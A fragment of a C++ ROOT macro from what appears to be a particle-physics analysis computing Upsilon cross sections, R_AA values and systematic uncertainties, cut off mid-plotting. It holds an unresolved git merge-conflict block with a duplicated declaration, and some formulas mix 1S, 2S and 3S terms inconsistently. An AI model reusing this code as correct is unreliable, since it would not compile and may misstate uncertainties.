syst1S_aa_Cent4[1]= sqrt (pow(RMS(N1S_aa_cent4[1],N1S_aa_cent4s_70,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent4[1],N1B_aa_cent4s_70,nbkgdvars),2)) ;\n syst1S_aa_Cent4[0]= sqrt (pow(RMS(N1S_aa_cent4[0],N1S_aa_cent4s_100,nfitvars),2)+ pow(maxDeviation(N1S_aa_cent4[0],N1B_aa_cent4s_100,nbkgdvars),2)) ;\n //CENT 2S\t\n syst2S_aa_Cent[3]= sqrt (pow(RMS( N2S_aa_cent4Large[3],N2S_aa_cent4Larges_10,nfitvars),2)+ pow(maxDeviation( N2S_aa_cent4Large[3],N2B_aa_cent4Larges_10,nbkgdvars),2)) ;\n syst2S_aa_Cent[2]= sqrt (pow(RMS( N2S_aa_cent4Large[2],N2S_aa_cent4Larges_30,nfitvars),2)+ pow(maxDeviation( N2S_aa_cent4Large[2],N2B_aa_cent4Larges_30,nbkgdvars),2)) ;\n syst2S_aa_Cent[1]= sqrt (pow(RMS( N2S_aa_cent4Large[1],N2S_aa_cent4Larges_50,nfitvars),2)+ pow(maxDeviation( N2S_aa_cent4Large[1],N2B_aa_cent4Larges_50,nbkgdvars),2)) ;\n syst2S_aa_Cent[0]= sqrt (pow(RMS( N2S_aa_cent4Large[0],N2S_aa_cent4Larges_100,nfitvars),2)+ pow(maxDeviation( N2S_aa_cent4Large[0],N2B_aa_cent4Larges_100,nbkgdvars),2)) ;\n<<<<<<< HEAD\n //pt4 dont care\n=======\n\n float syst1S_pp_glob = sqrt(pow(N1S_pp_tot3p5e/N1S_pp_tot3p5,2)+pow(N1S_pp_tot3p5s,2)+pow(Aet_1S_pythia_tote/Aet_1S_pythia_tot,2));//\n>>>>>>> 1dec6bafb188a8abbdd5f78885196d69eb897f30\n float syst1S_pp_glob4 = sqrt(pow(N1S_pp_tot4e/N1S_pp_tot4,2)+pow(N1S_pp_tot4s,2)+pow(Aet_1S_pythia_tot4e,2));\n //real stuff\n float syst_global_pp = sqrt(pow(tracking_pp,2)+pow(L_pp_e,2)); // 1st part global, but incomplete generally\n //pp globals (used where?)\n float syst1S_pp_glob = sqrt(pow(N1S_pp_tot3p5s,2)+pow(Aet_1S_pythia_tote/Aet_1S_pythia_tot,2)+syst_global_pp*syst_global_pp); //2nd part: total syst,\n // pp fitsyst + pp tnp and genshape syst + 1st part(L_pp, tracking) .\n float syst2S_pp_glob = sqrt(pow(N2S_pp_tot4s,2)+pow(Aet_2S_pythia_tote/Aet_2S_pythia_tot,2)+syst_global_pp*syst_global_pp); //new, good for 2016\n float syst3S_pp_glob = sqrt(pow(N3S_pp_tot4s,2)+pow(Aet_3S_pythia_tote/Aet_2S_pythia_tot,2)+syst_global_pp*syst_global_pp); //new, good for 2016\n\n float syst_global_AA = sqrt(pow(tracking_aa,2)+pow(T_AA_e,2)+pow(N_MB_e,2)); // T_AA_e is for MB TAA uncertainty, the integrated.\n //AA globals\n float syst1S_AA_glob = sqrt(pow(N1S_aa_tot3p5s,2)+pow(Aet_1S_pyquen_tote/Aet_1S_pyquen_tot,2)+syst_global_AA*syst_global_AA); // global pbpb systematic = tnp+fits+genshape+taa(int)+tracking+nmb\n float syst2S_AA_glob = sqrt(pow(N2S_aa_tot4s,2)+pow(Aet_2S_pyquen_tote/Aet_1S_pyquen_tot,2)+syst_global_AA*syst_global_AA);\n float systAA_glob2 = sqrt(syst2S_AA_glob*syst2S_AA_glob);\n float systAA_glob1 = sqrt(syst1S_AA_glob*syst1S_AA_glob);\n \n float syst1S_pp_centGlob= sqrt(pow(syst1S_pp_glob,2)); // for the orange bar: global integrated pp syst + N_MB + tracking_aa (?)\n float syst1S_pp_centGlob4=sqrt(pow(syst1S_pp_glob4,2)); //L_pp + stat_pp tot(1S)pt4 + tnp_pp1S pt4 +\n float syst2S_pp_centGlob4 = sqrt(syst2S_pp_glob*syst2S_pp_glob); // for the bar\n \n\n // 1S\n for(int i=0; i<nCentBins_2014;i++){\n /////////////////////////////////////////////////////////////////////////////\n // point-to-point systematics : syst(fit)_aa + tnp_aa + T_aa + AccEff_syst //\n // global systematics: syst_pp + L_pp + tnp_pp + stat_pp //\n /////////////////////////////////////////////////////////////////////////////\n // t_1S_pyquen_cent3p5e[i]=0;\n // t_1S_pyquen_cent3p5[i]=t_1S_pyquen_cent3p5[i];\n\n syst1S_aatnp_Cent[i]=(Aet_1S_pyquen_cent2014_fulls[i]/Aet_1S_pyquen_cent2014_STA[i]);\n syst1S_taa_cent[i]=taa2014e[i]/taa2014[i];\n syst1S_raa_pointCent[i]=sqrt(syst1S_aatnp_Cent[i]*syst1S_aatnp_Cent[i]+syst1S_taa_cent[i]*syst1S_taa_cent[i]+syst1S_aa_Cent[i]*syst1S_aa_Cent[i]+pow(Aet_1S_pyquen_cent2014_STAe[i]/Aet_1S_pyquen_cent2014_STA[i],2)); /// taa[i]+tnp+fits+genshape \n syst1S_raa_cent[i]=sqrt(syst1S_pp_glob*syst1S_pp_glob+syst1S_raa_pointCent[i]*syst1S_raa_pointCent[i]); // raa point-by-point + (pp total = Lpp + tnp(int) + genshape(int) + fits(int)) // taa ??\n //pt4!\n syst1S_aatnp_Cent4[i]=t_1S_pyquen_cent4e[i]/t_1S_pyquen_cent4[i];\n syst1S_raa_pointCent4[i]=sqrt(syst1S_taa_cent[i]*syst1S_taa_cent[i]+syst1S_aatnp_Cent4[i]*syst1S_aatnp_Cent4[i]+syst1S_aa_Cent4[i]*syst1S_aa_Cent4[i]+pow(Aet_1S_pyquen_cent2014s[i]/Aet_1S_pyquen_cent2014[i],2));\n syst1S_raa_cent4[i]=sqrt(syst1S_pp_centGlob4*syst1S_pp_centGlob4+syst1S_raa_pointCent4[i]*syst1S_raa_pointCent4[i]);\n }\n\n for(int i=0; i<nCentBins2S;i++){\n syst2S_aatnp_Cent[i]= t_2S_pyquen_cent4e[i]/t_2S_pyquen_cent4[i]; \n syst2S_taa_cent[i]=(taa2Se[i]/taa2S[i]);//same for 2S and 1Spt4\n \n syst2S_raa_pointCent[i]=sqrt(syst2S_taa_cent[i]*syst2S_taa_cent[i]+syst2S_aatnp_Cent[i]*syst2S_aatnp_Cent[i]+syst2S_aa_Cent[i]*syst2S_aa_Cent[i]+Aet_2S_pyquen_cent2014s[i]/Aet_2S_pyquen_cent2014[i]);\n syst2S_raa_cent[i]=sqrt(syst2S_pp_centGlob4*syst2S_pp_centGlob4+syst2S_raa_pointCent[i]*syst2S_raa_pointCent[i]);\n }\n\n //std::cout << \"---------------------1S cent---------------------\" <<endl;\n for(int i=nCentBins_2014-1; i>=0;i--){\n //ofSyst<< \"syst1S_aa_Cent_\"<<i << \" \"<< 100*syst1S_aa_Cent[i]<< \" %\"<<endl;\n // std::cout << (binsCent[i]).c_str() <<setprecision(3)<< \" \" << syst1S_aa_Cent[i] << \" \" << syst1S_aatnp_Cent[i] <<\" \"<< syst1S_taa_cent[i] <<\" \"<< syst1S_pp_centGlob <<\" \"<< syst1S_raa_pointCent[i] <<\" \"<< syst1S_raa_cent[i]<< endl;\n }\n //std::cout << \"---------------------1S cent pt4---------------------\" <<endl;\n for(int i=nCentBins_2014-1; i>=0;i--){\n // //ofSyst<< \"syst1S_aa_Cent_pt4\"<<i << \" \"<< 100*syst1S_aa_Cent4[i]<< \" %\"<<endl;\n /// cout << (binsCent[i]).c_str() <<setprecision(3)<< \" \" << syst1S_aa_Cent4[i] << \" \" << syst1S_aatnp_Cent4[i] <<\" \"<< syst1S_taa_cent[i] <<\" \"<< syst1S_pp_centGlob4 <<\" \"<< syst1S_raa_pointCent4[i] <<\" \"<< syst1S_raa_cent4[i]<< endl; \n }\n //std::cout << \"---------------------2S-cent--------------------\" <<endl;\n for(int i=4-1; i>=0;i--){\n // //ofSyst<< \"syst2S_aa_Cent_\"<<i << \" \"<< 100*syst2S_aa_Cent[i]<< \" %\"<<endl;\n //std::cout << (bins4Bin[i]).c_str() <<setprecision(3)<< \" \" << syst2S_aa_Cent[i] << \" \" << syst2S_aatnp_Cent[i] <<\" \"<< syst2S_taa_cent[i] <<\" \"<< syst2S_pp_centGlob4 <<\" \"<< syst2S_raa_pointCent[i] <<\" \"<< syst2S_raa_cent[i]<< endl;\n }\n for(int centi =0 ; centi<nCentBins2S ; centi++)\n {\n taa[centi]=taa[centi]*1000;\n CS2S_aa_cent[centi]= computeRatio( N2S_aa_cent4[centi] , Aet_2S_pyquen_cent2014[centi] );\n CS2S_aa_cente[centi] = computeRatioError( N2S_aa_cent4[centi] , Aet_2S_pyquen_cent2014[centi], N2S_aa_cent4e[centi] , 0); // Aet_2S_pyquen_cent2014e[centi]\n CS2S_aa_cent[centi]=CS2S_aa_cent[centi]/(mb_percentage2S[centi]*N_MB_corr * taa2S[centi]);\n CS2S_aa_cente[centi]=CS2S_aa_cente[centi]/(mb_percentage2S[centi]*N_MB_corr * taa2S[centi]);\n CS2S_aa_cents[centi]=N2S_aa_cent4[centi]*syst2S_raa_pointCent[centi]/(mb_percentage2S[centi]*N_MB_corr * taa2S[centi]);\n ///changed\n if(centi==0){\n\tCS2S_pp_tot = computeRatio(N2S_pp_tot4,Aet_2S_pythia_tot);\n\tCS2S_pp_tote = computeRatioError(N2S_pp_tot4,Aet_2S_pythia_tot,N2S_pp_tot4e,0);\n\tCS2S_pp_tot = CS2S_pp_tot/(L_pp_invNb);\n\tCS2S_pp_tote=CS2S_pp_tote/(L_pp_invNb);\n\tCS3S_pp_tot = computeRatio(N3S_pp_tot4,Aet_3S_pythia_tot);\n\tCS3S_pp_tote = computeRatioError(N3S_pp_tot4,Aet_3S_pythia_tot,N3S_pp_tot4e,0);\n\tCS3S_pp_tot = CS3S_pp_tot/(L_pp_invNb);\n\tCS3S_pp_tote=CS3S_pp_tote/(L_pp_invNb);\n\tCS3S_pp_tots = N3S_pp_tot4*syst3S_pp_glob/L_pp_invNb;\n }\n RAA_2S_cent[centi]= computeRatio( CS2S_aa_cent[centi] , CS2S_pp_tot);\n RAA_2S_cente[centi]= computeRatioError( CS2S_aa_cent[centi] , CS2S_pp_tot, CS2S_aa_cente[centi] ,0);\n }\n\n ///4bins of centrality for 2S !\n for (int i=0;i<4;i++)\n {\n taa2S[i]=taa2S[i]*1000;\n CS2S_aa_4bin[i]= computeRatio( N2S_aa_cent4Large[i] , Aet_2S_pyquen_cent2014[i] );\n CS2S_aa_4bine[i] = computeRatioError( N2S_aa_cent4Large[i] , Aet_2S_pyquen_cent2014[i], N2S_aa_cent4Largee[i] ,0);\n CS2S_aa_4bin[i]=CS2S_aa_4bin[i]/(mb_percentage2S[i]*N_MB_corr * taa2S[i]);\n CS2S_aa_4bine[i]=CS2S_aa_4bine[i]/(mb_percentage2S[i]*N_MB_corr * taa2S[i]);\n RAA_2S_4bin[i]= computeRatio( CS2S_aa_4bin[i] , CS2S_pp_tot);\n RAA_2S_4bine[i]= computeRatioError( CS2S_aa_4bin[i] , CS2S_pp_tot, CS2S_aa_4bine[i] ,0);\n RAA_2S_cents[i]=RAA_2S_4bin[i]*syst2S_raa_pointCent[i];//computeRatioError(CS2S_aa_cent[centi], CS2S_pp_tot, CS2S_aa_cents[centi], 0);\n RAA_2S_centsT[i]=RAA_2S_4bin[i]*syst2S_raa_cent[i]; //total: global+pt by pt\n CS2S_aa_4bins[i]=CS2S_aa_4bin[i]*syst2S_raa_cent[i]; // global pbpb + pt by pt but no pp (and taa in)\n \n }\n cout << \"wow!\"<< endl;\n for(int centi =0 ; centi<nCentBins_2014; centi++){ //for fun\n taa2014[centi]=taa2014[centi]*1000;\n // taa2015[centi]=taa2015[centi]*1000;\n // Aet_1S_pyquen_cent2014[centi]=Ae_1S_pyquen_cent2014[centi];\n // Aet_1S_pyquen_cent2014e[centi]=Ae_1S_pyquen_cent2014e[centi];\n\n\n CS1S_aa_cent[centi]= computeRatio( N1S_aa_cent3p5[centi] , Aet_1S_pyquen_cent2014_STA[centi] );\n CS1S_aa_cente[centi] = computeRatioError( N1S_aa_cent3p5[centi] , Aet_1S_pyquen_cent2014_STA[centi], N1S_aa_cent3p5e[centi] , 0); // \n CS1S_aa_cent[centi]=CS1S_aa_cent[centi]/(mb_percentage2014[centi]*N_MB_corr * taa2014[centi]);\n CS1S_aa_cente[centi]=CS1S_aa_cente[centi]/(mb_percentage2014[centi]*N_MB_corr * taa2014[centi]);\n CS1S_aa_cents[centi]=N1S_aa_cent3p5[centi]*syst1S_raa_pointCent[centi]/(mb_percentage2014[centi]*N_MB_corr * taa2014[centi]);\n //pt4\n CS1S_aa_cent4[centi]= computeRatio( N1S_aa_cent4[centi] , Aet_1S_pyquen_cent2014[centi] );//\n CS1S_aa_cent4e[centi] = computeRatioError( N1S_aa_cent4[centi] , Aet_1S_pyquen_cent2014[centi], N1S_aa_cent4e[centi] , 0);\n CS1S_aa_cent4[centi]=CS1S_aa_cent4[centi]/(mb_percentage2014[centi]*N_MB_corr*taa2014[centi]);//huh; \n CS1S_aa_cent4e[centi]=CS1S_aa_cent4e[centi]/(mb_percentage2014[centi]*N_MB_corr*taa2014[centi]);//huh; ;//huh\n CS1S_aa_cent4s[centi]=(N1S_aa_cent4[centi]*syst1S_raa_pointCent4[centi])/(mb_percentage2014[centi]*N_MB_corr*taa2014[centi]);\n \n if(centi==0){ \n CS1S_pp_tot = computeRatio(N1S_pp_tot3p5,Aet_1S_pythia_tot)/(L_pp_invNb);\n CS1S_pp_tots = N1S_pp_tot3p5*syst1S_pp_centGlob; // pp global(L_pp, tracking) + pp syst + pp tnp + pp genshape but not + pp stat\n CS1S_aa_tots = N1S_aa_tot3p5*systAA_glob1; // pbpb total global : fit+tnp+int(taa)+genshape+tracking+nmb\n CS2S_pp_tots = N2S_pp_tot4*syst2S_pp_centGlob4;\n CS2S_aa_tots = N2S_aa_tot4*systAA_glob2;\n CS1S_pp_tote = computeRatioError(N1S_pp_tot3p5,Aet_1S_pythia_tot,N1S_pp_tot3p5e,0);\n CS1S_pp_tote =CS1S_pp_tote/(L_pp_invNb);\n CS1S_pp_tots =CS1S_pp_tots/(L_pp_invNb);\n CS2S_pp_tots =CS2S_pp_tots/(L_pp_invNb);\n CS1S_pp_tot4 = computeRatio(N1S_pp_tot4,Aet_1S_pythia_tot4)/(L_pp_invNb);\n CS1S_pp_tot4s = N1S_pp_tot4*N1S_pp_tot4s;\n float CS1S_aa_tot4s = N1S_aa_tot4*N1S_aa_tot4s;\n CS1S_pp_tot4e = computeRatioError(N1S_pp_tot4,Aet_1S_pythia_tot4,N1S_pp_tot4e,0);\n CS1S_pp_tot4e =CS1S_pp_tot4e/(L_pp_invNb);\n CS1S_pp_tot4s =CS1S_pp_tot4s/(L_pp_invNb);//huh\n } \n RAA_1S_cent[centi]= computeRatio( CS1S_aa_cent[centi] , CS1S_pp_tot);\n RAA_1S_cente[centi]= computeRatioError( CS1S_aa_cent[centi] , CS1S_pp_tot, CS1S_aa_cente[centi] ,0);// CS1S_pp_tote\n RAA_1S_cents[centi]=RAA_1S_cent[centi]*syst1S_raa_pointCent[centi]; // binned RAA vs npart systematic: syst(pbpb = fits+tnp+genshape+taa)\n // RAA_1S_centsT[centi]=RAA_1S_cent[centi]*syst1S_raa_cent[centi]; //double counted taa?\n RAA_1S_cent4[centi]= computeRatio( CS1S_aa_cent4[centi] , CS1S_pp_tot4);\n RAA_1S_cent4e[centi]= computeRatioError( CS1S_aa_cent4[centi] , CS1S_pp_tot4, CS1S_aa_cent4e[centi] ,0);// CS1S_pp_tote\n RAA_1S_cent4s[centi]=RAA_1S_cent4[centi]*syst1S_raa_pointCent4[centi];\n RAA_1S_cent4sT[centi]=RAA_1S_cent4[centi]*syst1S_raa_cent4[centi];\n }\n\n CS1S_aa_tot = computeRatio(N1S_aa_tot3p5,Aet_1S_pyquen_tot);\n CS1S_aa_tote = computeRatioError(N1S_aa_tot3p5,Aet_1S_pyquen_tot,N1S_aa_tot3p5e,0);\n CS1S_aa_tot = CS1S_aa_tot/(N_MB_corr*T_AA_b);\n CS1S_aa_tote= CS1S_aa_tote/(N_MB_corr*T_AA_b);\n CS1S_aa_tots= CS1S_aa_tots/(N_MB_corr*T_AA_b);\n CS2S_aa_tots= CS2S_aa_tots/(N_MB_corr*T_AA_b);\n CS2S_aa_tot = computeRatio(N2S_aa_tot4,Aet_2S_pyquen_tot); // changed here 3p5\n CS2S_aa_tote = computeRatioError(N2S_aa_tot4,Aet_2S_pyquen_tot,N2S_aa_tot4e,0);\n CS2S_aa_tot = CS2S_aa_tot/(N_MB_corr*T_AA_b);\n CS2S_aa_tote = CS2S_aa_tote/(N_MB_corr*T_AA_b);\n CS3S_aa_tot = computeRatio(N3S_aa_tot4,Aet_3S_pyquen_tot); // careful here\n //UPPER LIMIT\n CS3S_aa_UL=computeRatio(N3S_aa_tot4,Aet_3S_pyquen_tot);\n CS3S_aa_tote = computeRatioError(N3S_aa_tot4,Aet_3S_pyquen_tot,N3S_aa_tot4e,0);\n CS3S_aa_tot = CS3S_aa_tot/(N_MB_corr*T_AA_b);\n CS3S_aa_UL=CS3S_aa_UL/(N_MB_corr*T_AA_b);\n CS3S_aa_tote=CS3S_aa_tote/(N_MB_corr*T_AA_b);\n float RAA_2S_tote;\n RAA_1S_tot = computeRatio(CS1S_aa_tot,CS1S_pp_tot);\n RAA_1S_tote = computeRatioError(CS1S_aa_tot,CS1S_pp_tot,CS1S_aa_tote,0); // pbpb stat uncertainty only! \n RAA_1S_tots = RAA_1S_tot*sqrt(syst1S_pp_centGlob*syst1S_pp_centGlob+systAA_glob1*systAA_glob1); //total syst = pbpb(tnp, taa, yield, genshape tracking) + pp global(L_pp, tracking) + pp syst + pp tnp + pp genshape + pp stat + N_MB_e.\n RAA_2S_tot = computeRatio(CS2S_aa_tot,CS2S_pp_tot);\n RAA_2S_tote = computeRatioError(CS2S_aa_tot,CS2S_pp_tot,CS2S_aa_tote,0);\n RAA_2S_tots = RAA_2S_tot*sqrt(syst2S_pp_centGlob4*syst2S_pp_centGlob4+systAA_glob2*systAA_glob2);//computeRatioError(CS2S_aa_tot,CS2S_pp_tot,CS2S_aa_tots,CS2S_pp_tots);\n RAA_3S_tot = computeRatio(CS3S_aa_tot,CS3S_pp_tot);\n RAA_3S_UL= computeRatio(CS3S_aa_UL,CS3S_pp_tot); //upper limit\n RAA_3S_tote = computeRatioError(CS3S_aa_tot,CS3S_pp_tot,CS3S_aa_tote,CS3S_pp_tote);\n\n std::cout << \" --- Cross section 1S in PbPb vs. nPart ---\" << endl;//for fun\n // for(int j =nCentBins_2014-1 ; j>=0 ; j--) \n // {\n // cout << (binsCent[j]).c_str() << \" \"<< CS1S_aa_cent[j] <<\" \\\\pm \"<<CS1S_aa_cente[j]<<\" \\\\pm \"<< CS1S_aa_cents[j]<<\" \\\\\" << endl;\n // }\n for(int j =nCentBins_2014-1 ; j>=0 ; j--) \n {\n // std::cout << (binsCent[j]).c_str() << \" \"<< CS1S_aa_cent[j] <<\" \\\\pm \"<C<S1S_aa_cente[j]<< \" \\\\pm \"<< CS1S_aa_cents[j]<<\" \\\\\" << endl;\n std::cout <<\"j= \"<< (binsCent[j]).c_str() << \" & \" << setprecision(3) << CS1S_aa_cent[j] <<\" \\\\pm \"<<\n\tCS1S_aa_cente[j]/CS1S_aa_cent[j] <<\" \\\\pm \"<< //stat unc.\n\tsyst1S_aa_Cent[j] <<\" \\\\pm \"<< //stat unc.\n\t(t_1S_pyquen_cent3p5_muIDTrige[j]/t_1S_pyquen_cent3p5_muIDTrig[j]) <<\" \\\\pm \"<< // muidTrig syst.\n\t(t_1S_pyquen_cent3p5_STAe[j]/t_1S_pyquen_cent3p5_STA[j]) <<\" \\\\pm \"<< // STA syst. part.\n\tsqrt(pow(Aet_1S_pyquen_cent2014_STAe[j]/Aet_1S_pyquen_cent2014_STA[j],2)+pow(syst1S_taa_cent[j],2)) <<\" \\\\pm \"<< /// Acc*eff shape syst.+ fits+ taa\n\tendl; \n\t// CS1S_aa_cent[j]*\n\t// CS1S_aa_cent[j]*\n\t// CS1S_aa_cent[j]* \n }\n\n std::cout << \" --- 1S RAA vs. nPart ---\" << endl;\n // for(int j =nCentBins_2014-1 ; j>=0 ; j--)\n // {\n // cout << (binsCent[j]).c_str() << \" \"<< RAA_1S_cent[j] <<\" \\\\pm \"<< RAA_1S_cente[j]<< \" \\\\pm \"<< RAA_1S_centsT[j]<< endl;\n // }\n for(int j =nCentBins_2014-1 ; j>=0 ; j--)\n {\n /// cout << (binsCent[j]).c_str() << \" \"<< RAA_1S_cent[j] <<\" \\\\pm \"<< RAA_1S_cente[j]<< \" \\\\pm \"<< RAA_1S_cents[j]<< endl;\n }\n\n std::cout << \" ---1S pt 4 Cross section in PbPb vs. nPart ---\" << endl;\n for(int j =7 ; j>=0 ; j--)\n {\n /// cout << (binsCent[j]).c_str() << \" \"<< CS1S_aa_cent4[j] <<\" \\\\pm \"<< CS1S_aa_cent4e[j]<< \" \\\\pm \"<< CS1S_aa_cent4s[j]<<\" (glob.))\"<< endl;\n }\n std::cout << \" --- 1S pt 4 RAA vs. nPart ---\" << endl;\n for(int j =7 ; j>=0 ; j--)\n {\n /// cout << (binsCent[j]).c_str() << \" \"<< RAA_1S_cent4[j] <<\" \\\\pm \"<< RAA_1S_cent4e[j]<< \" \\\\pm \"<< RAA_1S_cent4sT[j]<< endl;\n }\n std::cout << std::fixed;\n std::cout << \" --- 2S Cross section in PbPb vs. nPart ---\" << endl;\n for(int j =4-1 ; j>=0 ; j--)\n {\n // std::cout<<setprecision(3) << (bins4Bin[j]).c_str() << \" \"<< CS2S_aa_4bin[j] <<\" \\\\pm \"<<CS2S_aa_4bine[j]<<\" \\\\pm\"<<CS2S_aa_4bins[j] << \" \\\\\" << endl;\n std::cout <<\"j= \"<< (bins4Bin[j]).c_str() << \" & \" << setprecision(3) << CS2S_aa_4bin[j] <<\" \\\\pm \"<<\n CS2S_aa_4bine[j]/CS2S_aa_4bin[j] <<\" \\\\pm \"<< //stat unc.\n syst2S_aa_Cent[j] <<\" \\\\pm \"<< //fits.\n (Aet_2S_pyquen_cent2014_muIDTrige[j]/Aet_2S_pyquen_cent2014[j]) <<\" \\\\pm \"<< // muidTrig syst.\n (Aet_2S_pyquen_cent2014_STAe[j]/Aet_2S_pyquen_cent2014[j]) <<\" \\\\pm \"<< // STA syst. part.\n sqrt(pow(Aet_2S_pyquen_cent2014e[j]/Aet_2S_pyquen_cent2014[j],2)+pow(syst2S_taa_cent[j],2)) <<\" \\\\pm \"<< /// Acc*eff shape syst.+ fits+ taa\n endl; \n\t// CS2S_aa_4bin[j]*\n\t// CS2S_aa_4bin[j]*\n\t// CS2S_aa_4bin[j]*\n }\n\n std::cout << \" --- 2S RAA vs. nPart ---\" << endl;\n for(int j =4-1 ; j>=0 ; j--)\n {\n /// cout << (bins4Bin[j]).c_str() << \" \"<< RAA_2S_cent[j] <<\" \\\\pm \"<< RAA_2S_cente[j]<< \" \\\\pm \"<< RAA_2S_cents[j]<< endl;\n }\n\n std::cout << \" --- 2S RAA vs. nPart in 4 bins ---\" << endl;\n for(int j =3 ; j>=0 ; j--)\n {\n /// cout << (bins4Bin[j]).c_str() << \" \"<< RAA_2S_4bin[j] <<\" \\\\pm \"<< RAA_2S_4bine[j]<<\" \\\\pm \"<< RAA_2S_cents[j]<< endl; endl;\n }\n\n cout << setprecision(3)<<\" total_sigma(1S)_pp = \"<<CS1S_pp_tot <<\" \\\\pm \" <<CS1S_pp_tote <<\" \\\\pm \" <<CS1S_pp_tots<<endl;\n cout << setprecision(3)<<\" total_sigma(2S)_pp = \"<<CS2S_pp_tot <<\" \\\\pm \" <<CS2S_pp_tote<<\" \\\\pm \" <<CS2S_pp_tots<<endl;\n cout << setprecision(3)<<\" total_sigma(3S)_pp = \"<<CS3S_pp_tot <<\" \\\\pm \" <<CS3S_pp_tote<<\" \\\\pm \" <<CS3S_pp_tots<<endl; endl;\n cout << setprecision(3)<<\" total_sigma(1S)_AA = \"<<CS1S_aa_tot <<\" \\\\pm \" <<CS1S_aa_tote <<\" \\\\pm \" <<CS1S_aa_tots<<endl;\n cout << setprecision(3)<<\" total_sigma(2S)_AA = \"<<CS2S_aa_tot <<\" \\\\pm \" <<CS2S_aa_tote <<\" \\\\pm \" <<CS2S_aa_tots<<endl;\n cout << setprecision(3)<<\" total_sigma(3S)_AA = \"<<CS3S_aa_tot <<\" \\\\pm \" <<CS3S_aa_tote<<endl;\n cout << setprecision(3)<< \"Raa_1S = \"<<RAA_1S_tot<<\" \\\\pm \"<<RAA_1S_tote<<\" \\\\pm \" << RAA_1S_tots <<\" syst.\" << endl;\n cout << setprecision(3)<< \"Raa_2S = \"<<RAA_2S_tot<<\" \\\\pm \"<<RAA_2S_tote<<\" \\\\pm \" << RAA_2S_tots <<\" syst.\" << endl;\n cout<< setprecision(3) << \"Raa_3S = \"<<RAA_3S_tot<<\" \\\\pm \"<<RAA_3S_tote << endl;\n cout<<\" FC 95% Confidence on upper limit sigma(3S)_AA = \"<<CS3S_aa_UL <<\" nb \"<<endl;\n cout << \" FC 95% Confidence on upper limit Raa_3S = \"<<RAA_3S_UL<<endl;\n\n if(plotRAA){\n TCanvas *c1 = new TCanvas(\"c1\", \"c1\",423,55,600,600);\n // gStyle->SetOptStat(0);\n // gStyle->SetOptTitle(0);\n // c1->SetFillColor(0);\n // c1->SetBorderMode(0);\n // c1->SetBorderSize(0);\n // c1->SetTickx(1);\n // c1->SetTicky(1);\n // c1->SetFrameBorderMode(0);\n // c1->SetFrameBorderMode(0);\n // c1->Draw();\n // c1->cd();\n TPad *padleft = new TPad(\"padleft\",\"padleft\",0.,0.,doMB ? 0.9 : 1.,1.);\n // c1->cd();\n TPad *padright = new TPad(\"padright\",\"padright\",0.9,0.,1.,1.);\n padright->SetRightMargin(0.1);\n padright->SetLeftMargin(0.01);\n padleft->Draw();\n padright->Draw();\n padleft->cd();\n\n\n TF1 *f4 = new TF1(\"f4\",\"1\",0,400);\n f4->SetLineWidth(1);\n f4->GetYaxis()->SetRangeUser(0.0,1.4);\n f4->GetXaxis()->SetTitle(\"N_{Part}\");\n f4->GetXaxis()->CenterTitle(true);\n // f4->GetXaxis()->SetLabelFont(42);\n // f4->GetXaxis()->SetTitleSize(0.05);\n // f4->GetXaxis()->SetTitleOffset(1.1);\n // f4->GetYaxis()->SetTitleOffset(1.1);\n // f4->GetYaxis()->SetTitleFont(42);\n f4->GetYaxis()->SetTitle(\"R_{AA}\");\n // f4->GetYaxis()->SetTitleSize(0.05);\n f4->SetLineColor(kBlack);\n f4->Draw();\n TGraphErrors *gcent2syst = new TGraphErrors(4,cent,RAA_2S_cent,centErr2014,RAA_2S_cents);\n gcent2syst->SetLineColor(color2Sraa);\n gcent2syst->SetFillStyle(0);\n gcent2syst->SetLineWidth(2);\n gcent2syst->SetMarkerSize(0);\n gcent2syst->Draw(\"2\");\n if(!plotTight){\n TGraphErrors *gcent1syst = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_cent,centErr2014,RAA_1S_cents); //for fun\n gcent1syst->SetLineColor(color1Sraa);\n gcent1syst->SetFillStyle(0);\n gcent1syst->SetLineWidth(2);\n gcent1syst->SetMarkerSize(0);\n gcent1syst->Draw(\"2\");\n TGraphErrors *gcent1 = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_cent,centnoErr,RAA_1S_cente); //for fun\n\n gcent1->SetMarkerColor(color1Sraa);\n gcent1->SetMarkerStyle(21);\n gcent1->SetMarkerSize(1.2);\n\n TGraphErrors *gcent1circle = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_cent,centnoErr,RAA_1S_cente);\n gcent1circle->SetMarkerStyle(25);\n gcent1circle->SetMarkerSize(1.2);\n gcent1circle->SetLineColor(kBlack);\n gcent1->Draw(\"pe\");\n gcent1circle->Draw(\"p\");\n f4->Draw(\"same\");\n gPad->RedrawAxis();\n }\n if(plotTight){\n TGraphErrors *gcent1syst = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_cent,centErr2014,RAA_1S_cents); //for real\n gcent1syst->SetLineColor(color1Sraa);\n gcent1syst->SetFillStyle(0);\n gcent1syst->SetLineWidth(2);\n gcent1syst->SetMarkerSize(0);\n gcent1syst->Draw(\"2\");\n TGraphErrors *gcent1 = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_cent,centnoErr,RAA_1S_cente); //for real\n\n gcent1->SetMarkerColor(color1Sraa);\n gcent1->SetMarkerStyle(21);\n gcent1->SetMarkerSize(1.2);\n\n TGraphErrors *gcent1circle = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_cent,centnoErr,RAA_1S_cente);\n gcent1circle->SetMarkerStyle(25);\n gcent1circle->SetMarkerSize(1.2);\n gcent1circle->SetLineColor(kBlack);\n gcent1->Draw(\"pe\");\n gcent1circle->Draw(\"p\");\n f4->Draw(\"same\");\n gPad->RedrawAxis();\n //TGraphErrors RAA_1S 2014 (pt4) \n TGraphErrors *gcent1syst4 = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_cent4,centErr2014,RAA_1S_cent4s);\n gcent1syst4->SetLineColor(kGreen+1);\n gcent1syst4->SetFillStyle(0);\n gcent1syst4->SetLineWidth(2);\n gcent1syst4->SetMarkerSize(0);\n gcent1syst4->Draw(\"2\");\n TGraphErrors *gcent14 = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_cent4,centnoErr,RAA_1S_cent4e);\n gcent14->SetMarkerColor(kGreen+1);\n gcent14->SetMarkerStyle(21);\n gcent14->SetMarkerSize(1.2);\n TGraphErrors *gcent1circle4 = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_cent4,centnoErr,RAA_1S_cent4e);\n 